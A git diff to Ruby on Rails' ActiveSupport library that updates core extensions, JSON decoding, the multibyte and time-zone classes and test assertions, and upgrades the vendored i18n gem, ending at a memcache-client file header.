diff --git a/activesupport/lib/active_support/core_ext/try.rb b/activesupport/lib/active_support/core_ext/try.rb
index 0dccd40c55..3de198d198 100644
--- a/activesupport/lib/active_support/core_ext/try.rb
+++ b/activesupport/lib/active_support/core_ext/try.rb
@@ -1,6 +1,9 @@
class Object
- # Tries to send the method only if object responds to it. Return +nil+ otherwise.
- # It will also forward any arguments and/or block like Object#send does.
+ # Invokes the method identified by the symbol +method+, passing it any arguments
+ # and/or the block specified, just like the regular Ruby <tt>Object#send</tt> does.
+ #
+ # *Unlike* that method however, a +NoMethodError+ exception will *not* be raised
+ # and +nil+ will be returned instead, if the receiving object is a +nil+ object or NilClass.
#
# ==== Examples
#
@@ -12,14 +15,17 @@ class Object
# With try
# @person.try(:name)
#
- # Try also accepts arguments/blocks for the method it is trying
+ # +try+ also accepts arguments and/or a block, for the method it is trying
# Person.try(:find, 1)
# @people.try(:collect) {|p| p.name}
#--
- # This method def is for rdoc only. The alias_method below overrides it as an optimization.
+ # This method definition below is for rdoc purposes only. The alias_method call
+ # below overrides it as an optimization since +try+ behaves like +Object#send+,
+ # unless called on +NilClass+.
def try(method, *args, &block)
send(method, *args, &block)
end
+ remove_method :try
alias_method :try, :__send__
end
diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb
new file mode 100644
index 0000000000..9a1c61d99b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/uri.rb
@@ -0,0 +1,16 @@
+if RUBY_VERSION >= '1.9'
+ require 'uri'
+
+ str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+ str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding)
+
+ unless str == URI.unescape(URI.escape(str))
+ URI::Parser.class_eval do
+ remove_method :unescape
+ def unescape(str, escaped = @regexp[:ESCAPED])
+ enc = (str.encoding == Encoding::US_ASCII) ? Encoding::UTF_8 : str.encoding
+ str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index c41e86dfd1..f64661c5b1 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -70,7 +70,7 @@ module ActiveSupport
[:years, :months, :days, :minutes, :seconds].map do |length|
n = consolidated[length]
"#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
- end.compact.to_sentence
+ end.compact.to_sentence(:locale => :en)
end
protected
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index b6d276953a..8fb3fa9aa2 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -42,6 +42,7 @@ module ActiveSupport
inflect.singular(/(vert|ind)ices$/i, '\1ex')
inflect.singular(/(matr)ices$/i, '\1ix')
inflect.singular(/(quiz)zes$/i, '\1')
+ inflect.singular(/(database)s$/i, '\1')
inflect.irregular('person', 'people')
inflect.irregular('man', 'men')
diff --git a/activesupport/lib/active_support/inflector.rb b/activesupport/lib/active_support/inflector.rb
index 4921b99677..3ed30bdf56 100644
--- a/activesupport/lib/active_support/inflector.rb
+++ b/activesupport/lib/active_support/inflector.rb
@@ -257,15 +257,17 @@ module ActiveSupport
# <%= link_to(@person.name, person_path(@person)) %>
# # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
def parameterize(string, sep = '-')
- re_sep = Regexp.escape(sep)
# replace accented chars with ther ascii equivalents
parameterized_string = transliterate(string)
# Turn unwanted chars into the seperator
parameterized_string.gsub!(/[^a-z0-9\-_\+]+/i, sep)
- # No more than one of the separator in a row.
- parameterized_string.squeeze!(sep)
- # Remove leading/trailing separator.
- parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+ unless sep.blank?
+ re_sep = Regexp.escape(sep)
+ # No more than one of the separator in a row.
+ parameterized_string.gsub!(/#{re_sep}{2,}/, sep)
+ # Remove leading/trailing separator.
+ parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+ end
parameterized_string.downcase
end
@@ -284,7 +286,7 @@ module ActiveSupport
# The iconv transliteration code doesn't function correctly
# on some platforms, but it's very fast where it does function.
- elsif "foo" != Inflector.transliterate("föö")
+ elsif "foo" != (Inflector.transliterate("föö") rescue nil)
undef_method :transliterate
def transliterate(string)
string.mb_chars.normalize(:kd). # Decompose accented characters
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index 9da4048272..0e079341ff 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -43,13 +43,32 @@ module ActiveSupport
end
if marks.empty?
- json.gsub(/\\\//, '/')
+ json.gsub(/\\([\\\/]|u[[:xdigit:]]{4})/) do
+ ustr = $1
+ if ustr.starts_with?('u')
+ [ustr[1..-1].to_i(16)].pack("U")
+ elsif ustr == '\\'
+ '\\\\'
+ else
+ ustr
+ end
+ end
else
left_pos = [-1].push(*marks)
- right_pos = marks << json.length
+ right_pos = marks << scanner.pos + scanner.rest_size
output = []
left_pos.each_with_index do |left, i|
- output << json[left.succ..right_pos[i]]
+ scanner.pos = left.succ
+ output << scanner.peek(right_pos[i] - scanner.pos + 1).gsub(/\\([\\\/]|u[[:xdigit:]]{4})/) do
+ ustr = $1
+ if ustr.starts_with?('u')
+ [ustr[1..-1].to_i(16)].pack("U")
+ elsif ustr == '\\'
+ '\\\\'
+ else
+ ustr
+ end
+ end
end
output = output * " "
diff --git a/activesupport/lib/active_support/json/encoders/hash.rb b/activesupport/lib/active_support/json/encoders/hash.rb
index 16dc8337f5..e38b4f3e16 100644
--- a/activesupport/lib/active_support/json/encoders/hash.rb
+++ b/activesupport/lib/active_support/json/encoders/hash.rb
@@ -31,17 +31,16 @@ class Hash
def to_json(options = {}) #:nodoc:
hash_keys = self.keys
- if options[:except]
- hash_keys = hash_keys - Array(options[:except])
- elsif options[:only]
- hash_keys = hash_keys & Array(options[:only])
+ if except = options[:except]
+ hash_keys = hash_keys - Array.wrap(except)
+ elsif only = options[:only]
+ hash_keys = hash_keys & Array.wrap(only)
end
- returning result = '{' do
- result << hash_keys.map do |key|
- "#{ActiveSupport::JSON.encode(key.to_s)}: #{ActiveSupport::JSON.encode(self[key], options)}"
- end * ', '
- result << '}'
- end
+ result = '{'
+ result << hash_keys.map do |key|
+ "#{ActiveSupport::JSON.encode(key.to_s)}: #{ActiveSupport::JSON.encode(self[key], options)}"
+ end * ', '
+ result << '}'
end
end
diff --git a/activesupport/lib/active_support/memoizable.rb b/activesupport/lib/active_support/memoizable.rb
index 945c1a68bb..2b85fd7be4 100644
--- a/activesupport/lib/active_support/memoizable.rb
+++ b/activesupport/lib/active_support/memoizable.rb
@@ -102,6 +102,10 @@ module ActiveSupport
end # end
end # end
end # end
+ #
+ if private_method_defined?(#{original_method.inspect}) # if private_method_defined?(:_unmemoized_mime_type)
+ private #{symbol.inspect} # private :mime_type
+ end # end
EOS
end
end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index a00b165222..60f082bcc1 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -344,7 +344,19 @@ module ActiveSupport #:nodoc:
end
alias_method :[], :slice
- # Converts first character in the string to Unicode value
+ # Like <tt>String#slice!</tt>, except instead of byte offsets you specify character offsets.
+ #
+ # Example:
+ # s = 'こんにちは'
+ # s.mb_chars.slice!(2..3).to_s #=> "にち"
+ # s #=> "こんは"
+ def slice!(*args)
+ slice = self[*args]
+ self[*args] = ''
+ slice
+ end
+
+ # Returns the codepoint of the first character in the string.
#
# Example:
# 'こんにちは'.mb_chars.ord #=> 12371
@@ -432,7 +444,7 @@ module ActiveSupport #:nodoc:
chars(self.class.tidy_bytes(@wrapped_string))
end
- %w(lstrip rstrip strip reverse upcase downcase slice tidy_bytes capitalize).each do |method|
+ %w(lstrip rstrip strip reverse upcase downcase tidy_bytes capitalize).each do |method|
define_method("#{method}!") do |*args|
unless args.nil?
@wrapped_string = send(method, *args).to_s
@@ -617,6 +629,8 @@ module ActiveSupport #:nodoc:
# Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
def tidy_bytes(string)
string.split(//u).map do |c|
+ c.force_encoding(Encoding::ASCII) if c.respond_to?(:force_encoding)
+
if !UTF8_PAT.match(c)
n = c.unpack('C')[0]
n < 128 ? n.chr :
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 66aab9e562..fed8094a24 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -54,7 +54,7 @@ module ActiveSupport
end
def to_hash
- Hash.new(self)
+ self
end
def each_key
@@ -93,7 +93,7 @@ module ActiveSupport
end
def inspect
- "#<OrderedHash #{self.to_hash.inspect}>"
+ "#<OrderedHash #{super}>"
end
private
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 3d4924f4eb..50e25ef740 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -21,7 +21,7 @@ module ActiveSupport
alias_method :method_name, :name
else
# TODO: Figure out how to get the Rails::BacktraceFilter into minitest/unit
- if defined?(Rails)
+ if defined?(Rails) && ENV['BACKTRACE'].nil?
require 'rails/backtrace_cleaner'
Test::Unit::Util::BacktraceFilter.module_eval { include Rails::BacktraceFilterForTestUnit }
end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index ce2f44efd6..ca51adba1e 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -31,13 +31,17 @@ module ActiveSupport
# assert_difference 'Article.count', -1, "An Article should be destroyed" do
# post :delete, :id => ...
# end
- def assert_difference(expressions, difference = 1, message = nil, &block)
- expression_evaluations = Array(expressions).collect{ |expression| lambda { eval(expression, block.send(:binding)) } }
+ def assert_difference(expression, difference = 1, message = nil, &block)
+ b = block.send(:binding)
+ exps = Array.wrap(expression)
+ before = exps.map { |e| eval(e, b) }
- original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression.call }
yield
- expression_evaluations.each_with_index do |expression, i|
- assert_equal original_values[i] + difference, expression.call, message
+
+ exps.each_with_index do |e, i|
+ error = "#{e.inspect} didn't change by #{difference}"
+ error = "#{message}.\n#{error}" if message
+ assert_equal(before[i] + difference, eval(e, b), error)
end
end
@@ -53,8 +57,8 @@ module ActiveSupport
# assert_no_difference 'Article.count', "An Article should not be destroyed" do
# post :create, :article => invalid_attributes
# end
- def assert_no_difference(expressions, message = nil, &block)
- assert_difference expressions, 0, message, &block
+ def assert_no_difference(expression, message = nil, &block)
+ assert_difference expression, 0, message, &block
end
end
end
diff --git a/activesupport/lib/active_support/testing/core_ext/test.rb b/activesupport/lib/active_support/testing/core_ext/test.rb
deleted file mode 100644
index d3f38f0bc7..0000000000
--- a/activesupport/lib/active_support/testing/core_ext/test.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'active_support/testing/core_ext/test/unit/assertions'
-require 'active_support/testing/setup_and_teardown'
-
-class Test::Unit::TestCase #:nodoc:
- include ActiveSupport::Testing::SetupAndTeardown
-end \ No newline at end of file
diff --git a/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb b/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb
deleted file mode 100644
index e5853bf828..0000000000
--- a/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require 'test/unit/assertions'
-module Test
- module Unit
- #--
- # FIXME: no Proc#binding in Ruby 2, must change this API
- #++
- module Assertions
- # Test numeric difference between the return value of an expression as a result of what is evaluated
- # in the yielded block.
- #
- # assert_difference 'Article.count' do
- # post :create, :article => {...}
- # end
- #
- # An arbitrary expression is passed in and evaluated.
- #
- # assert_difference 'assigns(:article).comments(:reload).size' do
- # post :create, :comment => {...}
- # end
- #
- # An arbitrary positive or negative difference can be specified. The default is +1.
- #
- # assert_difference 'Article.count', -1 do
- # post :delete, :id => ...
- # end
- #
- # An array of expressions can also be passed in and evaluated.
- #
- # assert_difference [ 'Article.count', 'Post.count' ], +2 do
- # post :create, :article => {...}
- # end
- #
- # A error message can be specified.
- #
- # assert_difference 'Article.count', -1, "An Article should be destroyed" do
- # post :delete, :id => ...
- # end
- def assert_difference(expressions, difference = 1, message = nil, &block)
- expression_evaluations = Array(expressions).map do |expression|
- [expression, lambda do
- eval(expression, block.__send__(:binding))
- end]
- end
-
- original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression[1].call }
- yield
- expression_evaluations.each_with_index do |expression, i|
- full_message = ""
- full_message << "#{message}.\n" if message
- full_message << "<#{expression[0]}> was the expression that failed"
- assert_equal original_values[i] + difference, expression[1].call, full_message
- end
- end
-
- # Assertion that the numeric result of evaluating an expression is not changed before and after
- # invoking the passed in block.
- #
- # assert_no_difference 'Article.count' do
- # post :create, :article => invalid_attributes
- # end
- #
- # A error message can be specified.
- #
- # assert_no_difference 'Article.count', "An Article should not be destroyed" do
- # post :create, :article => invalid_attributes
- # end
- def assert_no_difference(expressions, message = nil, &block)
- assert_difference expressions, 0, message, &block
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
index 6248bf1921..4537c30e9c 100644
--- a/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -8,7 +8,7 @@ module ActiveSupport
include ActiveSupport::Callbacks
define_callbacks :setup, :teardown
- if defined? MiniTest
+ if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
include ForMiniTest
elsif defined? Spec
include ForRspec
@@ -47,7 +47,12 @@ module ActiveSupport
return if @method_name.to_s == "default_test"
if using_mocha = respond_to?(:mocha_verify)
- assertion_counter = Mocha::TestCaseAdapter::AssertionCounter.new(result)
+ assertion_counter_klass = if defined?(Mocha::TestCaseAdapter::AssertionCounter)
+ Mocha::TestCaseAdapter::AssertionCounter
+ else
+ Mocha::Integration::TestUnit::AssertionCounter
+ end
+ assertion_counter = assertion_counter_klass.new(result)
end
yield(Test::Unit::TestCase::STARTED, name)
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 3a5a083629..9068afef2e 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -31,6 +31,11 @@ module ActiveSupport
# t.is_a?(Time) # => true
# t.is_a?(ActiveSupport::TimeWithZone) # => true
class TimeWithZone
+
+ def self.name
+ 'Time' # Report class name as 'Time' to thwart type checking
+ end
+
include Comparable
attr_reader :time_zone
@@ -155,6 +160,7 @@ module ActiveSupport
"#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
end
end
+ alias_method :to_formatted_s, :to_s
# Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and +formatted_offset+, respectively, before passing to
# Time#strftime, so that zone information is correct
@@ -229,7 +235,7 @@ module ActiveSupport
def advance(options)
# If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
# otherwise advance from #utc, for accuracy when moving across DST boundaries
- if options.detect {|k,v| [:years, :weeks, :months, :days].include? k}
+ if options.values_at(:years, :weeks, :months, :days).any?
method_missing(:advance, options)
else
utc.advance(options).in_time_zone(time_zone)
@@ -327,7 +333,7 @@ module ActiveSupport
end
def duration_of_variable_length?(obj)
- ActiveSupport::Duration === obj && obj.parts.flatten.detect {|p| [:years, :months, :days].include? p }
+ ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include? p[0] }
end
end
end
diff --git a/activesupport/lib/active_support/vendor.rb b/activesupport/lib/active_support/vendor.rb
index 3d7d52ca71..28852e65c8 100644
--- a/activesupport/lib/active_support/vendor.rb
+++ b/activesupport/lib/active_support/vendor.rb
@@ -9,9 +9,9 @@ end
require 'builder'
begin
- gem 'memcache-client', '~> 1.5.0.5'
+ gem 'memcache-client', '>= 1.6.5'
rescue Gem::LoadError
- $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.5.0.5"
+ $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.6.5"
end
begin
@@ -22,8 +22,8 @@ end
# TODO I18n gem has not been released yet
# begin
-# gem 'i18n', '~> 0.1.1'
+# gem 'i18n', '~> 0.1.3'
# rescue Gem::LoadError
- $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.1/lib"
+ $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.3/lib"
require 'i18n'
# end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore b/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore
deleted file mode 100644
index 0f41a39f89..0000000000
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore
+++ /dev/null
@@ -1,3 +0,0 @@
-.DS_Store
-test/rails/fixtures
-doc
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE b/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE
index ed8e9ee66d..ed8e9ee66d 100755
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile b/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile
index a07fc8426d..a07fc8426d 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile b/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile
index 2164e13e69..2164e13e69 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec b/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec
index 14294606bd..f102689a6f 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec
@@ -1,7 +1,7 @@
Gem::Specification.new do |s|
s.name = "i18n"
- s.version = "0.1.1"
- s.date = "2008-10-26"
+ s.version = "0.1.3"
+ s.date = "2009-01-09"
s.summary = "Internationalization support for Ruby"
s.email = "rails-i18n@googlegroups.com"
s.homepage = "http://rails-i18n.org"
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb
index 76361bed90..76361bed90 100755
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb
index b54164d496..c09acd7d2d 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb
@@ -151,12 +151,7 @@ module I18n
def interpolate(locale, string, values = {})
return string unless string.is_a?(String)
- if string.respond_to?(:force_encoding)
- original_encoding = string.encoding
- string.force_encoding(Encoding::BINARY)
- end
-
- result = string.gsub(MATCH) do
+ string.gsub(MATCH) do
escaped, pattern, key = $1, $2, $2.to_sym
if escaped
@@ -169,9 +164,6 @@ module I18n
values[key].to_s
end
end
-
- result.force_encoding(original_encoding) if original_encoding
- result
end
# Loads a single translations file by delegating to #load_rb or
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb
index b5cea7acb4..b5cea7acb4 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb
index 353712da49..353712da49 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb
index dfcba6901f..dfcba6901f 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb
index bbb35ec809..50d6832c9e 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb
@@ -116,10 +116,10 @@ class I18nTest < Test::Unit::TestCase
end
def test_localize_nil_raises_argument_error
- assert_raises(I18n::ArgumentError) { I18n.l nil }
+ assert_raise(I18n::ArgumentError) { I18n.l nil }
end
def test_localize_object_raises_argument_error
- assert_raises(I18n::ArgumentError) { I18n.l Object.new }
+ assert_raise(I18n::ArgumentError) { I18n.l Object.new }
end
end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb
index 6044ce10d9..6044ce10d9 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml
index 0b298c9c0e..0b298c9c0e 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb
index 8ba7036abf..65f3ac11a6 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb
@@ -155,7 +155,7 @@ class I18nSimpleBackendTranslateTest < Test::Unit::TestCase
end
def test_translate_given_an_array_of_inexistent_keys_it_raises_missing_translation_data
- assert_raises I18n::MissingTranslationData do
+ assert_raise I18n::MissingTranslationData do
@backend.translate('en', :does_not_exist, :scope => [:foo], :default => [:does_not_exist_2, :does_not_exist_3])
end
end
@@ -180,11 +180,11 @@ class I18nSimpleBackendTranslateTest < Test::Unit::TestCase
end
def test_translate_given_nil_as_a_locale_raises_an_argument_error
- assert_raises(I18n::InvalidLocale){ @backend.translate nil, :bar }
+ assert_raise(I18n::InvalidLocale){ @backend.translate nil, :bar }
end
def test_translate_with_a_bogus_key_and_no_default_raises_missing_translation_data
- assert_raises(I18n::MissingTranslationData){ @backend.translate 'de', :bogus }
+ assert_raise(I18n::MissingTranslationData){ @backend.translate 'de', :bogus }
end
end
@@ -230,15 +230,15 @@ class I18nSimpleBackendPluralizeTest < Test::Unit::TestCase
end
def test_interpolate_given_incomplete_pluralization_data_raises_invalid_pluralization_data
- assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, {:one => 'bar'}, 2) }
+ assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, {:one => 'bar'}, 2) }
end
# def test_interpolate_given_a_string_raises_invalid_pluralization_data
- # assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, 'bar', 2) }
+ # assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, 'bar', 2) }
# end
#
# def test_interpolate_given_an_array_raises_invalid_pluralization_data
- # assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, ['bar'], 2) }
+ # assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, ['bar'], 2) }
# end
end
@@ -253,6 +253,32 @@ class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase
assert_equal 'Häi David!', @backend.send(:interpolate, nil, 'Häi {{name}}!', :name => 'David')
end
+ def test_interpolate_given_an_unicode_value_hash_interpolates_to_the_string
+ assert_equal 'Hi ゆきひろ!', @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => 'ゆきひろ')
+ end
+
+ def test_interpolate_given_an_unicode_value_hash_interpolates_into_unicode_string
+ assert_equal 'こんにちは、ゆきひろさん!', @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => 'ゆきひろ')
+ end
+
+ if Kernel.const_defined?(:Encoding)
+ def test_interpolate_given_a_non_unicode_multibyte_value_hash_interpolates_into_a_string_with_the_same_encoding
+ assert_equal euc_jp('Hi ゆきひろ!'), @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => euc_jp('ゆきひろ'))
+ end
+
+ def test_interpolate_given_an_unicode_value_hash_into_a_non_unicode_multibyte_string_raises_encoding_compatibility_error
+ assert_raise(Encoding::CompatibilityError) do
+ @backend.send(:interpolate, nil, euc_jp('こんにちは、{{name}}さん!'), :name => 'ゆきひろ')
+ end
+ end
+
+ def test_interpolate_given_a_non_unicode_multibyte_value_hash_into_an_unicode_string_raises_encoding_compatibility_error
+ assert_raise(Encoding::CompatibilityError) do
+ @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => euc_jp('ゆきひろ'))
+ end
+ end
+ end
+
def test_interpolate_given_nil_as_a_string_returns_nil
assert_nil @backend.send(:interpolate, nil, nil, :name => 'David')
end
@@ -266,11 +292,17 @@ class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase
end
def test_interpolate_given_an_empty_values_hash_raises_missing_interpolation_argument
- assert_raises(I18n::MissingInterpolationArgument) { @backend.send(:interpolate, nil, 'Hi {{name}}!', {}) }
+ assert_raise(I18n::MissingInterpolationArgument) { @backend.send(:interpolate, nil, 'Hi {{name}}!', {}) }
end
def test_interpolate_given_a_string_containing_a_reserved_key_raises_reserved_interpolation_key
- assert_raises(I18n::ReservedInterpolationKey) { @backend.send(:interpolate, nil, '{{default}}', {:default => nil}) }
+ assert_raise(I18n::ReservedInterpolationKey) { @backend.send(:interpolate, nil, '{{default}}', {:default => nil}) }
+ end
+
+ private
+
+ def euc_jp(string)
+ string.encode!(Encoding::EUC_JP)
end
end
@@ -320,11 +352,11 @@ class I18nSimpleBackendLocalizeDateTest < Test::Unit::TestCase
end
def test_localize_nil_raises_argument_error
- assert_raises(I18n::ArgumentError) { @backend.localize 'de', nil }
+ assert_raise(I18n::ArgumentError) { @backend.localize 'de', nil }
end
def test_localize_object_raises_argument_error
- assert_raises(I18n::ArgumentError) { @backend.localize 'de', Object.new }
+ assert_raise(I18n::ArgumentError) { @backend.localize 'de', Object.new }
end
end
@@ -454,7 +486,7 @@ class I18nSimpleBackendLoadTranslationsTest < Test::Unit::TestCase
include I18nSimpleBackendTestSetup
def test_load_translations_with_unknown_file_type_raises_exception
- assert_raises(I18n::UnknownFileType) { @backend.load_translations "#{@locale_dir}/en.xml" }
+ assert_raise(I18n::UnknownFileType) { @backend.load_translations "#{@locale_dir}/en.xml" }
end
def test_load_translations_with_ruby_file_type_does_not_raise_exception
@@ -485,6 +517,10 @@ end
class I18nSimpleBackendLoadPathTest < Test::Unit::TestCase
include I18nSimpleBackendTestSetup
+ def teardown
+ I18n.load_path = []
+ end
+
def test_nested_load_paths_do_not_break_locale_loading
@backend = I18n::Backend::Simple.new
I18n.load_path = [[File.dirname(__FILE__) + '/locale/en.yml']]
@@ -492,6 +528,14 @@ class I18nSimpleBackendLoadPathTest < Test::Unit::TestCase
assert_nothing_raised { @backend.send :init_translations }
assert_not_nil backend_get_translations
end
+
+ def test_adding_arrays_of_filenames_to_load_path_do_not_break_locale_loading
+ @backend = I18n::Backend::Simple.new
+ I18n.load_path << Dir[File.dirname(__FILE__) + '/locale/*.{rb,yml}']
+ assert_nil backend_get_translations
+ assert_nothing_raised { @backend.send :init_translations }
+ assert_not_nil backend_get_translations
+ end
end
class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase
@@ -521,4 +565,4 @@ class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase
@backend.reload!
assert_equal @backend.initialized?, false
end
-end \ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb b/activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb
index e90ddf3359..4d594c2089 100644
